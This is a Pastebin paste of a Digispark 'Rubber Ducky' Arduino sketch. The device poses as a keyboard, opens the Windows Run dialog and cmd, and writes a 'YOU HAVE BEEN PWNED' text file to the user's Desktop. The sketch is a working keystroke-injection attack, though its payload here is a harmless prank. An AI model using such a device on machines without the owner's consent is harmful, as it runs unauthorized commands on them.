Dino213dz

Rubber Ducky

Jan 12th, 2021 (edited)
555
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include "DigiKeyboard.h"
  2.  
  3. int button_hold=2;
  4.  
  5. void setup() {
  6.   // put your setup code here, to run once:
  7.   pinMode(button_hold, INPUT_PULLUP);
  8. }
  9.  
  10. void loop() {
  11.   // put your main code here, to run repeatedly:
  12.   if (digitalRead(button_hold) == LOW){
  13.     while(1);
  14.   }
  15.  
  16.   DigiKeyboard.sendKeyStroke(0);
  17.   DigiKeyboard.delay(500);
  18.   DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  19.   DigiKeyboard.delay(500);
  20.   DigiKeyboard.print("cmd /k cd %UserProfile%/Desktop");
  21.   DigiKeyboard.sendKeyStroke(KEY_ENTER);
  22.   DigiKeyboard.delay(500);
  23.   DigiKeyboard.print("echo YOU HAVE BEEN PWNED > YOU_HAVE_BEEN_PWNED.TXT");
  24.   DigiKeyboard.sendKeyStroke(KEY_ENTER);
  25.   DigiKeyboard.delay(500);
  26.   DigiKeyboard.print("exit");
  27.   DigiKeyboard.sendKeyStroke(KEY_ENTER);
  28.   DigiKeyboard.delay(500);
  29.   while(1);
  30. }
RAW Paste Data